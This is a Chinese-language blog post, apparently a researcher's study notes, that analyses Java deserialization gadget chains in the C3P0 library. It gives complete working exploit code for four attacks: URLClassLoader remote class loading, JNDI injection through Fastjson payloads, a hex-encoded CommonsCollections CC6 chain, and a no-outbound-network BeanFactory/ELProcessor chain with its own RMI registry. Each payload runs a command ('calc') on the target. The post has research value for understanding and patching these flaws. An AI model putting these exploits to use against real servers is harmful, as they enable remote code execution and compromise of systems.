c3p0 Gadget Learn

c3p0 Gadget Learn

0x01.C3P0 组件简介

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。

JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。

使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

0x02.pom

<dependencies>
<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>
</dependencies>

0x03. URLClassLoader Gadget

先看链尾触发点,在ReferenceableUtils.javareferenceToObject方法调用lookup进行JNDI查询,并且实例化,存在RCE,查看调用情况:
存在3处调用,来看ReferenceIndirectorgetObject方法,这里会调用前者,实现lookup查询

upload_881d5e88577c00fdf57fd3b720998d84

这是一个包装类,我们查询Usage可以看到:

upload_7323ce5f26aa89938fdae355ebd59678

upload_f3421dae75b33fb4da1f02a0d3eed93e

当我们重写其getReference方法时,其JNDI查询的参数就是可控的,但为什么是包装类呢?

upload_6ebbaf9ef6e0818450972a32b3a05414

这里尝试将connectionPoolDataSource属性类序列化,而该类并不集成于Serializable接口导致其无法序列化,因此需要包装类进行封装
upload_9465fb10c10fab59d4df0f2e74fa5267

因此在这里链子如下:

PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance

我们只需要实例化ConnectionPoolDataSource并且重写其getReference方法,便能设置一个远程工厂类地址fClassLocation,则会使用URLClassLoader进行远程类加载。

ExpClass如下:

package com.example;

public class ExpClass {
    public ExpClass() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}

Exp如下:

package com.example;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class exp {
    public static class Exp_loader implements ConnectionPoolDataSource, Referenceable {

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calc","com.example.ExpClass","http://127.0.0.1:8888");
        }
    }

    public static void Pool_Serial(ConnectionPoolDataSource c) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);
        // 写入数据
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);
    }

    public static void Pool_unserial() throws Exception{
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws Exception{
        Exp_loader exp_loader = new Exp_loader();
        Pool_Serial(exp_loader);
        Pool_unserial();
    }
}

动调解析:
进入到getObject方法:

upload_22c9c9a6c6f97b00c9c7588d7f5de521

跟进referenceToObject方法,其中这里reference已经通过getReference拿到:
upload_3c7bddaf2151074914d77affdd9e59f4

upload_59ab901d68dd36bf03c05b5d76e06f64

最终调用URLClassLoader实例化,执行静态代码,造成RCE

upload_e7b8d95025095949c7c67aca7123eb56

0x04. JNDI注入 Gadget

全局搜索JNDI,找到JndiRefForwardingDataSource类,其中在dereference中找到

upload_07ccf50782140a7cfaacfdedd3ed9e3b

其中jndiName通过this.getJndiName()得到,跟进该方法看是否可控
upload_b11f7ad1a061323f145a63fced942beb

在这里其实不影响,因为jndiName是String或者Object都做出了判断和处理,都可以进入ctx.lookup进行查询操作,查找调用情况,inner()方法会调用

upload_36bdc78081324f5fd5030fa35f926b33

这里全是getter或者setter方法,意味着满足作为fastjson调用链的条件了,因为fastjson会自动调用setter方法,这里实际上已经可以利用了

upload_994aa6b778bef2ff9649d1ac2d0f663b

构造Payload如下:

String payload = "{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource"," +
                ""jndiName":"rmi://xxx/ts8ul5","LoginTimeout":"1"}";
        JSON.parse(payload);

调试可以看到进入到dereference方法中,因为在这里JndiNamesetter方法,所以即使是私有属性,通过fastjson也能够进行赋值

由于高版本jdk禁止了RMI协议使用远程codebase,在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。因此这里需要手动添加

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true")

upload_944afe56e082f897d1cc8fb2ea639a04

0x05.hexbase 攻击利用

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件。

链子的入口点在WrapperConnectionPoolDataSource构造方法中:

upload_12fd8f64f515d5a680b2abe15515b4ff

这里会将userOverridesAsString先从16进制转为byte数组,随后反序列化:

upload_167b09683ed0b4977129a59bbedcec10

upload_3501e1d2bef7422ac2c611e5fdc422e5

值得注意的是,在解析过程中调用了substring()方法将字符串头部的HASM_HEADER截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;

继续跟进deserializeFromByteArray,调用readObject进行反序列化:

upload_69933715bc32387fde4ff5dc64ad3fd7

因此此处存在二次反序列化操作,这里我们用CC链做一个demo,并且由于UserOverridesAsString存在gettersetter方法,因此使用Fastjson来加载比较合适

upload_d4735891cbd29dc61c27d26283fe0c5a

exp借鉴其他师傅的:

package com.example;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class hexbase {

    //CC6的利用链
    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
        //使用InvokeTransformer包装一下
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"eee");
        lazyMap.remove("abc");

        //反射修改LazyMap类的factory属性
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
        byte[] payload_bytes = tobyteArray(CC6()) ;
        String hex = bytesToHexString(payload_bytes,payload_bytes.length);

        String payload = "{" +
                ""@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"," +
                ""userOverridesAsString":"HexAsciiSerializedMap:"+ hex + ";"," +
                "}";
        JSON.parse(payload);

    }
}

在调用该属性的Setter方法时,由于之前属性this.userOverridesAsString是空,因为构造函数就是空的,而现在传入的userOverridesAsString有值,因此进入vcs.fireVetoableChange中,跟进vcs.fireVetoableChange,最终到WrapperConnectionPoolDataSource#vetoableChange

upload_cb69c59013051468aed6bbed11005f82

这里propName即属性名是userOverridesAsString,因此会再次进行一次解析

upload_4a973404bec38e1bc16013cd409bb28a

而此时userOverridesAsString已经不为空,因此进入后续反序列化操作,实现RCE
upload_16f6df482fec1ffb47e470a920b5c02f

C3P0通过这种方式,在set完userOverridesAsString属性后直接对其进行解析,减少了一次类初始化操作。

0x06.C3P0 不出网利用

假设存在这样的场景,目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢?
我们回头看C3P0中利用URLClassLoader进行任意类加载的攻击方式:

upload_fb41778399d22416a3be8502867d2764

这里调用了URLClassLoader得到的任意类的getObjectInstance方法,由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入,而BeanFactory依赖于tommcat8环境,和JNDI绕过高版本JDK限制一样,在这里顺便分析下后者,再来分析前者

JDNI绕过高版本JDK -- tomcat8

8u191后已经默认不允许加载codebase中的远程类,但我们可以从本地加载合适Reference Factory。

需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换,继承ObjectFactory意味着该工厂类至少存在一个getObjectInstance()方法。

upload_5c13ebee009ab1e9a37216c3f38c2239

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,先添加pom依赖:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>

org.apache.naming.factory.BeanFactorygetObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

upload_c751a236c954029e1f6b642bcb1b254d

编写EXP:

public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        ref.add(new StringRefAddr("forceString", "crispr=eval"));
        ref.add(new StringRefAddr("crispr", "Runtime.getRuntime().exec("calc")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);
        System.out.println("Registry running......");
    }

随后lookup查询即可,我们来看一下BeanFactory的相关操作:
首先判断我们要从工厂生成的类是否是ResourceRef类的实例,接着实例化我们指定的javax.el.ELProcessor

upload_9aeb0f6b122ad9e1f0a964682b83129f

forceString可以给属性强制指定一个setter方法,这里将属性crispr的setterName设置为了public java.lang.Object javax.el.ELProcessor.eval()

upload_956d404bd64bb88a6bc69337f1a3ae98

接着传入crispr的setter的参数,也就是Runtime.getRuntime().exec("calc")。接着运行setter,实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc"))

upload_a7cfb6af9648f131c2043c79af50f0b3

0x06.C3P0 不出网利用 继续分析

回到前文,之前链子调用了URLClassLoader得到的任意类的getObjectInstance方法,这里我们也尝试重写BeanFactory工厂类来实现RCE

编写EXP:

package com.example;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.annotation.Resource;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class nonet_exp {
    public static class Exp_loader implements ConnectionPoolDataSource, Referenceable {

        @Override
        public Reference getReference() throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            ref.add(new StringRefAddr("forceString", "crispr=eval"));
            ref.add(new StringRefAddr("crispr", "Runtime.getRuntime().exec("calc")"));
            return ref;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void Pool_Serial(ConnectionPoolDataSource c) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Class cls = poolBackedDataSourceBase.getClass();
        Field field = cls.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase,c);
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(poolBackedDataSourceBase);
    }

    public static void Pool_Unserial() throws Exception{
        FileInputStream fis = new FileInputStream("exp.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }

    public static void main(String[] args) throws Exception{
        Exp_loader loader = new Exp_loader();
        Pool_Serial(loader);
        Pool_Unserial();
    }
}

其实和URLClassLoader加载并且实例远程类一样,只是在这里借用BeanFactory工厂类的getObjectInstance方法,这样避免了远程加载,可以在目标机器不出网且没有FastJson依赖的情况下实现RCE

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇